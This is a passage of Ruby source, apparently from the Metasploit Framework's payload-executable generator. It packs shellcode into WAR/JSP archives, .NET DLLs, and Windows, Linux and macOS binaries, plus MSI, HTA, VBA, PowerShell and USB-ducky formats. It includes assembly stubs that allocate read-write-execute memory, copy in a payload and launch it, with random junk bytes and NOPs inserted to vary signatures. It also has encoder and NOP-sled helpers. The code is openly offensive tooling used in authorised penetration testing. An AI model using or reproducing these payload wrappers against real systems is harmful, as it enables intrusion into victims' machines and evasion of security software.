1754
zip = Rex::Zip::Archive.new
1755
zip.add_file('META-INF/', '', meta_inf)
1756
zip.add_file('META-INF/MANIFEST.MF', manifest)
1757
zip.add_file('WEB-INF/', '')
1758
zip.add_file('WEB-INF/web.xml', web_xml)
1759
# add the payload
1760
zip.add_file("#{jsp_name}.jsp", jsp_raw)
1761
1762
# add extra files
1763
if opts[:extra_files]
1764
opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}
1765
end
1766
1767
zip.pack
1768
end
1769
1770
# Creates a .NET DLL which loads data into memory
1771
# at a specified location with read/execute permissions
1772
# - the data will be loaded at: base+0x2065
1773
# - default max size is 0x8000 (32768)
1774
# @param base [Integer] Default location set to base 0x12340000
1775
# @param data [String]
1776
# @param opts [Hash]
1777
# @option [String] :template
1778
# @option [String] :base_offset
1779
# @option [String] :timestamp_offset
1780
# @option [String] :text_offset
1781
# @option [String] :pack
1782
# @option [String] :uuid_offset
1783
# @return [String]
1784
def self.to_dotnetmem(base=0x12340000, data="", opts = {})
1785
1786
# Allow the user to specify their own DLL template
1787
set_template_default(opts, "dotnetmem.dll")
1788
1789
pe = self.get_file_contents(opts[:template])
1790
1791
# Configure the image base
1792
base_offset = opts[:base_offset] || 180
1793
pe[base_offset, 4] = [base].pack('V')
1794
1795
# Configure the TimeDateStamp
1796
timestamp_offset = opts[:timestamp_offset] || 136
1797
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
1798
1799
# XXX: Unfortunately we cant make this RWX only RX
1800
# Mark this segment as read-execute AND writable
1801
# pe[412,4] = [0xe0000020].pack("V")
1802
1803
# Write the data into the .text segment
1804
text_offset = opts[:text_offset] || 0x1065
1805
text_max = opts[:text_max] || 0x8000
1806
pack = opts[:pack] || 'a32768'
1807
pe[text_offset, text_max] = [data].pack(pack)
1808
1809
# Generic a randomized UUID
1810
uuid_offset = opts[:uuid_offset] || 37656
1811
pe[uuid_offset,16] = Rex::Text.rand_text(16)
1812
1813
pe
1814
end
1815
1816
# self.encode_stub
1817
#
1818
# @param framework [Msf::Framework]
1819
# @param arch [String]
1820
# @param code [String]
1821
# @param platform [String]
1822
# @param badchars [String]
1823
def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
1824
return code unless framework.encoders
1825
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
1826
begin
1827
enc = framework.encoders.create(name)
1828
raw = enc.encode(code, badchars, nil, platform)
1829
return raw if raw
1830
rescue
1831
end
1832
end
1833
nil
1834
end
1835
1836
def self.generate_nops(framework, arch, len, opts = {})
1837
opts['BadChars'] ||= ''
1838
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
1839
1840
return nil unless framework.nops
1841
framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
1842
begin
1843
nop = framework.nops.create(name)
1844
raw = nop.generate_sled(len, opts)
1845
return raw if raw
1846
rescue
1847
# @TODO: stop rescuing everying on each of these, be selective
1848
end
1849
end
1850
nil
1851
end
1852
1853
# This wrapper is responsible for allocating RWX memory, copying the
1854
# target code there, setting an exception handler that calls ExitProcess
1855
# and finally executing the code.
1856
def self.win32_rwx_exec(code)
1857
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1858
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1859
arch: ARCH_X86,
1860
name: 'api_call'
1861
)
1862
1863
stub_exit = %Q^
1864
; Input: EBP must be the address of 'api_call'.
1865
; Output: None.
1866
; Clobbers: EAX, EBX, (ESP will also be modified)
1867
; Note: Execution is not expected to (successfully) continue past this block
1868
1869
exitfunk:
1870
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
1871
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
1872
mov eax, ebp
1873
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
1874
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1875
jl goodbye ; Then just call the exit function...
1876
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1877
jne goodbye ;
1878
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1879
goodbye: ; We now perform the actual call to the exit function
1880
push byte 0 ; push the exit function parameter
1881
push ebx ; push the hash of the exit function
1882
call ebp ; call EXITFUNK( 0 );
1883
^
1884
1885
stub_alloc = %Q^
1886
cld ; Clear the direction flag.
1887
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1888
delta: ;
1889
#{stub_block}
1890
start: ;
1891
pop ebp ; Pop off the address of 'api_call' for calling later.
1892
1893
allocate_size:
1894
mov esi, #{code.length}
1895
1896
allocate:
1897
push byte 0x40 ; PAGE_EXECUTE_READWRITE
1898
push 0x1000 ; MEM_COMMIT
1899
push esi ; Push the length value of the wrapped code block
1900
push byte 0 ; NULL as we dont care where the allocation is.
1901
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
1902
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1903
1904
mov ebx, eax ; Store allocated address in ebx
1905
mov edi, eax ; Prepare EDI with the new address
1906
mov ecx, esi ; Prepare ECX with the length of the code
1907
call get_payload
1908
got_payload:
1909
pop esi ; Prepare ESI with the source to copy
1910
rep movsb ; Copy the payload to RWX memory
1911
call set_handler ; Configure error handling
1912
1913
exitblock:
1914
#{stub_exit}
1915
set_handler:
1916
xor eax,eax
1917
push dword [fs:eax]
1918
mov dword [fs:eax], esp
1919
call ebx
1920
jmp exitblock
1921
^
1922
1923
stub_final = %Q^
1924
get_payload:
1925
call got_payload
1926
payload:
1927
; Append an arbitrary payload here
1928
^
1929
1930
stub_alloc.gsub!('short', '')
1931
stub_alloc.gsub!('byte', '')
1932
1933
wrapper = ""
1934
# regs = %W{eax ebx ecx edx esi edi ebp}
1935
1936
cnt_jmp = 0
1937
stub_alloc.each_line do |line|
1938
line.gsub!(/;.*/, '')
1939
line.strip!
1940
next if line.empty?
1941
1942
wrapper << "nop\n" if rand(2) == 0
1943
1944
if rand(2) == 0
1945
wrapper << "jmp autojump#{cnt_jmp}\n"
1946
1.upto(rand(8)+8) do
1947
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
1948
end
1949
wrapper << "autojump#{cnt_jmp}:\n"
1950
cnt_jmp += 1
1951
end
1952
wrapper << line + "\n"
1953
end
1954
1955
wrapper << stub_final
1956
1957
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
1958
enc.data + code
1959
end
1960
1961
# This wrapper is responsible for allocating RWX memory, copying the
1962
# target code there, setting an exception handler that calls ExitProcess,
1963
# starting the code in a new thread, and finally jumping back to the next
1964
# code to execute. block_offset is the offset of the next code from
1965
# the start of this code
1966
def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1967
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1968
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1969
arch: ARCH_X86,
1970
name: 'api_call'
1971
)
1972
1973
stub_exit = %Q^
1974
; Input: EBP must be the address of 'api_call'.
1975
; Output: None.
1976
; Clobbers: EAX, EBX, (ESP will also be modified)
1977
; Note: Execution is not expected to (successfully) continue past this block
1978
1979
exitfunk:
1980
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
1981
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
1982
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
1983
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1984
jl goodbye ; Then just call the exit function...
1985
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1986
jne goodbye ;
1987
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1988
goodbye: ; We now perform the actual call to the exit function
1989
push byte 0 ; push the exit function parameter
1990
push ebx ; push the hash of the exit function
1991
call ebp ; call EXITFUNK( 0 );
1992
^
1993
1994
stub_alloc = %Q^
1995
pushad ; Save registers
1996
cld ; Clear the direction flag.
1997
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1998
delta: ;
1999
#{stub_block}
2000
start: ;
2001
pop ebp ; Pop off the address of 'api_call' for calling later.
2002
2003
allocate_size:
2004
mov esi,#{code.length}
2005
2006
allocate:
2007
push byte 0x40 ; PAGE_EXECUTE_READWRITE
2008
push 0x1000 ; MEM_COMMIT
2009
push esi ; Push the length value of the wrapped code block
2010
push byte 0 ; NULL as we dont care where the allocation is.
2011
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
2012
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
2013
2014
mov ebx, eax ; Store allocated address in ebx
2015
mov edi, eax ; Prepare EDI with the new address
2016
mov ecx, esi ; Prepare ECX with the length of the code
2017
call get_payload
2018
got_payload:
2019
pop esi ; Prepare ESI with the source to copy
2020
rep movsb ; Copy the payload to RWX memory
2021
call set_handler ; Configure error handling
2022
2023
exitblock:
2024
#{stub_exit}
2025
2026
set_handler:
2027
xor eax,eax
2028
; push dword [fs:eax]
2029
; mov dword [fs:eax], esp
2030
push eax ; LPDWORD lpThreadId (NULL)
2031
push eax ; DWORD dwCreationFlags (0)
2032
push eax ; LPVOID lpParameter (NULL)
2033
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
2034
push eax ; SIZE_T dwStackSize (0 for default)
2035
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
2036
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" )
2037
call ebp ; Spawn payload thread
2038
2039
pop eax ; Skip
2040
; pop eax ; Skip
2041
pop eax ; Skip
2042
popad ; Get our registers back
2043
; sub esp, 44 ; Move stack pointer back past the handler
2044
^
2045
2046
stub_final = %Q^
2047
get_payload:
2048
call got_payload
2049
payload:
2050
; Append an arbitrary payload here
2051
^
2052
2053
2054
stub_alloc.gsub!('short', '')
2055
stub_alloc.gsub!('byte', '')
2056
2057
wrapper = ""
2058
# regs = %W{eax ebx ecx edx esi edi ebp}
2059
2060
cnt_jmp = 0
2061
cnt_nop = 64
2062
2063
stub_alloc.each_line do |line|
2064
line.gsub!(/;.*/, '')
2065
line.strip!
2066
next if line.empty?
2067
2068
if cnt_nop > 0 && rand(4) == 0
2069
wrapper << "nop\n"
2070
cnt_nop -= 1
2071
end
2072
2073
if cnt_nop > 0 && rand(16) == 0
2074
cnt_nop -= 2
2075
cnt_jmp += 1
2076
2077
wrapper << "jmp autojump#{cnt_jmp}\n"
2078
1.upto(rand(8)+1) do
2079
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
2080
cnt_nop -= 1
2081
end
2082
wrapper << "autojump#{cnt_jmp}:\n"
2083
end
2084
wrapper << line + "\n"
2085
end
2086
2087
# @TODO: someone who knows how to use metasm please explain the right way to do this.
2088
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
2089
wrapper << stub_final
2090
2091
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
2092
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
2093
res = enc.data + code
2094
2095
if which_offset == 'start'
2096
res[soff,4] = [block_offset - (soff + 4)].pack('V')
2097
elsif which_offset == 'end'
2098
res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
2099
else
2100
raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
2101
end
2102
res
2103
end
2104
2105
2106
#
2107
# Generate an executable of a given format suitable for running on the
2108
# architecture/platform pair.
2109
#
2110
# This routine is shared between msfvenom, rpc, and payload modules (use
2111
# <payload>)
2112
#
2113
# @param framework [Framework]
2114
# @param arch [String] Architecture for the target format; one of the ARCH_*
2115
# constants
2116
# @param plat [#index] platform
2117
# @param code [String] The shellcode for the resulting executable to run
2118
# @param fmt [String] One of the executable formats as defined in
2119
# {.to_executable_fmt_formats}
2120
# @param exeopts [Hash] Passed directly to the appropriate method for
2121
# generating an executable for the given +arch+/+plat+ pair.
2122
# @return [String] An executable appropriate for the given
2123
# architecture/platform pair.
2124
# @return [nil] If the format is unrecognized or the arch and plat don't
2125
# make sense together.
2126
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
2127
# For backwards compatibility with the way this gets called when
2128
# generating from Msf::Simple::Payload.generate_simple
2129
if arch.kind_of? Array
2130
output = nil
2131
arch.each do |a|
2132
output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
2133
break if output
2134
end
2135
return output
2136
end
2137
2138
# otherwise the result of this huge case statement is returned
2139
case fmt
2140
when 'asp'
2141
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2142
Msf::Util::EXE.to_exe_asp(exe, exeopts)
2143
when 'aspx'
2144
Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
2145
when 'aspx-exe'
2146
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2147
Msf::Util::EXE.to_exe_aspx(exe, exeopts)
2148
when 'dll'
2149
case arch
2150
when ARCH_X86,nil
2151
to_win32pe_dll(framework, code, exeopts)
2152
when ARCH_X64
2153
to_win64pe_dll(framework, code, exeopts)
2154
end
2155
when 'exe'
2156
case arch
2157
when ARCH_X86,nil
2158
to_win32pe(framework, code, exeopts)
2159
when ARCH_X64
2160
to_win64pe(framework, code, exeopts)
2161
when ARCH_AARCH64
2162
to_winaarch64pe(framework, code, exeopts)
2163
end
2164
when 'exe-service'
2165
case arch
2166
when ARCH_X86,nil
2167
to_win32pe_service(framework, code, exeopts)
2168
when ARCH_X64
2169
to_win64pe_service(framework, code, exeopts)
2170
end
2171
when 'exe-small'
2172
case arch
2173
when ARCH_X86,nil
2174
to_win32pe_old(framework, code, exeopts)
2175
when ARCH_X64
2176
to_win64pe(framework, code, exeopts)
2177
end
2178
when 'exe-only'
2179
case arch
2180
when ARCH_X86,nil
2181
to_winpe_only(framework, code, exeopts)
2182
when ARCH_X64
2183
to_winpe_only(framework, code, exeopts, arch)
2184
end
2185
when 'msi'
2186
case arch
2187
when ARCH_X86,nil
2188
exe = to_win32pe(framework, code, exeopts)
2189
when ARCH_X64
2190
exe = to_win64pe(framework, code, exeopts)
2191
end
2192
exeopts[:uac] = true
2193
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2194
when 'msi-nouac'
2195
case arch
2196
when ARCH_X86,nil
2197
exe = to_win32pe(framework, code, exeopts)
2198
when ARCH_X64
2199
exe = to_win64pe(framework, code, exeopts)
2200
end
2201
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2202
when 'elf'
2203
if elf? code
2204
return code
2205
end
2206
if !plat || plat.index(Msf::Module::Platform::Linux)
2207
case arch
2208
when ARCH_X86,nil
2209
to_linux_x86_elf(framework, code, exeopts)
2210
when ARCH_X64
2211
to_linux_x64_elf(framework, code, exeopts)
2212
when ARCH_AARCH64
2213
to_linux_aarch64_elf(framework, code, exeopts)
2214
when ARCH_PPC64
2215
to_linux_ppc64_elf(framework, code, exeopts)
2216
when ARCH_ARMLE
2217
to_linux_armle_elf(framework, code, exeopts)
2218
when ARCH_MIPSBE
2219
to_linux_mipsbe_elf(framework, code, exeopts)
2220
when ARCH_MIPSLE
2221
to_linux_mipsle_elf(framework, code, exeopts)
2222
when ARCH_RISCV32LE
2223
to_linux_riscv32le_elf(framework, code, exeopts)
2224
when ARCH_RISCV64LE
2225
to_linux_riscv64le_elf(framework, code, exeopts)
2226
end
2227
elsif plat && plat.index(Msf::Module::Platform::BSD)
2228
case arch
2229
when ARCH_X86,nil
2230
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
2231
when ARCH_X64
2232
Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
2233
end
2234
elsif plat && plat.index(Msf::Module::Platform::Solaris)
2235
case arch
2236
when ARCH_X86,nil
2237
to_solaris_x86_elf(framework, code, exeopts)
2238
end
2239
end
2240
when 'elf-so'
2241
if elf? code
2242
return code
2243
end
2244
if !plat || plat.index(Msf::Module::Platform::Linux)
2245
case arch
2246
when ARCH_X86
2247
to_linux_x86_elf_dll(framework, code, exeopts)
2248
when ARCH_X64
2249
to_linux_x64_elf_dll(framework, code, exeopts)
2250
when ARCH_ARMLE
2251
to_linux_armle_elf_dll(framework, code, exeopts)
2252
when ARCH_AARCH64
2253
to_linux_aarch64_elf_dll(framework, code, exeopts)
2254
when ARCH_RISCV32LE
2255
to_linux_riscv32le_elf_dll(framework, code, exeopts)
2256
when ARCH_RISCV64LE
2257
to_linux_riscv64le_elf_dll(framework, code, exeopts)
2258
end
2259
end
2260
when 'macho', 'osx-app'
2261
if macho? code
2262
macho = code
2263
else
2264
macho = case arch
2265
when ARCH_X86,nil
2266
to_osx_x86_macho(framework, code, exeopts)
2267
when ARCH_X64
2268
to_osx_x64_macho(framework, code, exeopts)
2269
when ARCH_ARMLE
2270
to_osx_arm_macho(framework, code, exeopts)
2271
when ARCH_PPC
2272
to_osx_ppc_macho(framework, code, exeopts)
2273
when ARCH_AARCH64
2274
to_osx_aarch64_macho(framework, code, exeopts)
2275
end
2276
end
2277
fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
2278
when 'vba'
2279
Msf::Util::EXE.to_vba(framework, code, exeopts)
2280
when 'vba-exe'
2281
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2282
Msf::Util::EXE.to_exe_vba(exe)
2283
when 'vba-psh'
2284
Msf::Util::EXE.to_powershell_vba(framework, arch, code)
2285
when 'vbs'
2286
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2287
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
2288
when 'loop-vbs'
2289
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2290
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
2291
when 'jsp'
2292
arch ||= [ ARCH_X86 ]
2293
tmp_plat = plat.platforms if plat
2294
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2295
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2296
Msf::Util::EXE.to_jsp(exe)
2297
when 'war'
2298
arch ||= [ ARCH_X86 ]
2299
tmp_plat = plat.platforms if plat
2300
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2301
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2302
Msf::Util::EXE.to_jsp_war(exe)
2303
when 'psh'
2304
Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
2305
when 'psh-net'
2306
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
2307
when 'psh-reflection'
2308
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
2309
when 'psh-cmd'
2310
Msf::Util::EXE.to_powershell_command(framework, arch, code)
2311
when 'hta-psh'
2312
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
2313
when 'python-reflection'
2314
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
2315
when 'ducky-script-psh'
2316
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
2317
end
2318
end
2319
2320
# FMT Formats
2321
# self.to_executable_fmt_formats
2322
# @return [Array] Returns an array of strings
2323
def self.to_executable_fmt_formats
2324
[
2325
"asp",
2326
"aspx",
2327
"aspx-exe",
2328
"axis2",
2329
"dll",
2330
"ducky-script-psh",
2331
"elf",
2332
"elf-so",
2333
"exe",
2334
"exe-only",
2335
"exe-service",
2336
"exe-small",
2337
"hta-psh",
2338
"jar",
2339
"jsp",
2340
"loop-vbs",
2341
"macho",
2342
"msi",
2343
"msi-nouac",
2344
"osx-app",
2345
"psh",
2346
"psh-cmd",
2347
"psh-net",
2348
"psh-reflection",
2349
"python-reflection",
2350
"vba",
2351
"vba-exe",
2352
"vba-psh",
2353
"vbs",
2354
"war"
2355
]
2356
end
2357
2358
# self.get_file_contents
2359
#
2360
# @param perms [String]
2361
# @param file [String]
2362
# @return [String]
2363
def self.get_file_contents(file, perms = "rb")
2364
contents = ''
2365
File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
2366
contents
2367
end
2368
2369
# self.find_payload_tag
2370
#
2371
# @param mo [String]
2372
# @param err_msg [String]
2373
# @raise [RuntimeError] if the "PAYLOAD:" is not found
2374
# @return [Integer]
2375
def self.find_payload_tag(mo, err_msg)
2376
bo = mo.index('PAYLOAD:')
2377
unless bo
2378
raise RuntimeError, err_msg
2379
end
2380
bo
2381
end
2382
2383
def self.elf?(code)
2384
code[0..3] == "\x7FELF"
2385
end
2386
2387
def self.macho?(code)
2388
code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
2389
end
2390
2391
end
2392
end
2393
end
2394
2395